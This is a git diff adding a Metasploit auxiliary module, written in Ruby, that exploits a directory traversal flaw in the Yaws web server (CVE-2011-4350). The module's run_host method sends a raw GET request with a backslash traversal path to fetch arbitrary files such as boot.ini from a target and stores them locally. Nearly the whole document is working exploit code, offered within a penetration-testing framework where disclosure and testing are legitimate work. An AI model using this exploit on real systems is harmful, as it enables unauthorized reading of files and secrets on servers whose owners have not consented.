diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb
new file mode 100644
index 0000000000..d6a1b73d2f
--- /dev/null
+++ b/modules/auxiliary/scanner/http/yaws_traversal.rb
@@ -0,0 +1,72 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Yaws Web Server Directory Traversal",
+			'Description'    => %q{
+					This module exploits a directory traversal bug in Yaws v1.9.1 or less.
+				The module can only be used to retrieve files. However, code execution might
+				be possible. Because when the malicious user sends a PUT request, a file is
+				actually created, except no content is written.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'sinn3r',  #Metasploit
+				],
+			'References'     =>
+				[
+					['CVE', '2011-4350'],
+					['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']
+				],
+			'DisclosureDate' => "Nov 25 2011"
+		))
+
+		register_options(
+				[
+					Opt::RPORT(8080),
+					OptString.new('FILEPATH', [false, 'The name of the file to download', 'boot.ini'])
+				], self.class)
+
+		deregister_options('RHOST')
+	end
+
+	def run_host(ip)
+		# No point to continue if no filename is specified
+		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
+			print_error("Please supply the name of the file you want to download")
+			return
+		end
+
+		# Create request
+		traversal = "..\\..\\..\\..\\"
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => "/#{traversal}/#{datastore['FILEPATH']}"
+		}, 25)
+
+		# Show data if needed
+		if res and res.code == 200
+			vprint_line(res.to_s)
+			fname = Rex::Text.rand_text_alpha(5) + "_" + File.basename(datastore['FILEPATH'])
+
+			path = store_local("yaws.file", "application/octet-stream", res.body, fname)
+			print_status("File saved in: #{path}")
+		else
+			print_error("Nothing was downloaded")
+		end
+	end
+end